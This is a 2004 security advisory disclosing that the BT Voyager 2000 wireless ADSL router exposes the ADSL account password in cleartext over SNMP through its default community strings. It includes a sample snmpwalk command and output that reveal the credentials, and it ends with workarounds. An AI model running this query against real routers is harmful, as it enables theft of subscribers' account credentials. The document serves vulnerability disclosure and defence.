    Arhont Advisory by: Konstantin Gavrilenko (http://www.arhont.com)
    Advisory: cleartext account password obtainable using SNMP
    Class: design/configuration bug
    Test platform: BT Voyager 2000 Wireless ADSL Router
    Vendor Contact Date: 10/06/2004
    PD* release date: 22/06/2004

    DETAILS:

    It is possible to obtain the ADSL account password from the wireless
    side of the mentioned router. Provided the attacker can associate to the
    router, he/she can grab SNMP strings from the router using default
    public/private community name.

    Furthermore, the information provided with public and private community
    name are identical, differing only in that with private you can
    obviously change the SNMP strings.

    e.g.
    root@abyrvalg:~# snmpwalk -v 1 -c public 192.168.1.1
    SNMPv2-MIB::sysDescr.0 = STRING: BT Voyager 2000 Wireless ADSL Router
    SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.2535.111.6
    SNMPv2-MIB::sysUpTime.0 = Timeticks: (260430184) 30 days, 1:02:01.84
    [snip]
    SNMPv2-SMI::transmission.23.2.3.1.5.5.1 = STRING:
    "name.surname@btbroadband.com"
    SNMPv2-SMI::transmission.23.2.3.1.5.6.1 = ""
    SNMPv2-SMI::transmission.23.2.3.1.5.7.1 = ""
    SNMPv2-SMI::transmission.23.2.3.1.5.8.1 = ""
    SNMPv2-SMI::transmission.23.2.3.1.5.9.1 = ""
    SNMPv2-SMI::transmission.23.2.3.1.5.10.1 = ""
    SNMPv2-SMI::transmission.23.2.3.1.5.11.1 = ""
    SNMPv2-SMI::transmission.23.2.3.1.5.12.1 = ""
    SNMPv2-SMI::transmission.23.2.3.1.6.0.1 = ""
    SNMPv2-SMI::transmission.23.2.3.1.6.0.2 = ""
    SNMPv2-SMI::transmission.23.2.3.1.6.0.3 = ""
    SNMPv2-SMI::transmission.23.2.3.1.6.0.4 = ""
    SNMPv2-SMI::transmission.23.2.3.1.6.0.5 = ""
    SNMPv2-SMI::transmission.23.2.3.1.6.0.6 = ""
    SNMPv2-SMI::transmission.23.2.3.1.6.0.7 = ""
    SNMPv2-SMI::transmission.23.2.3.1.6.0.8 = ""
    SNMPv2-SMI::transmission.23.2.3.1.6.5.1 = STRING: "password"
    [snip]

    Risk Factor: High/Medium

    Workarounds:
    - Disallow anonymous access to the wireless router
    - Change default SNMP community names
    - Disable SNMP support
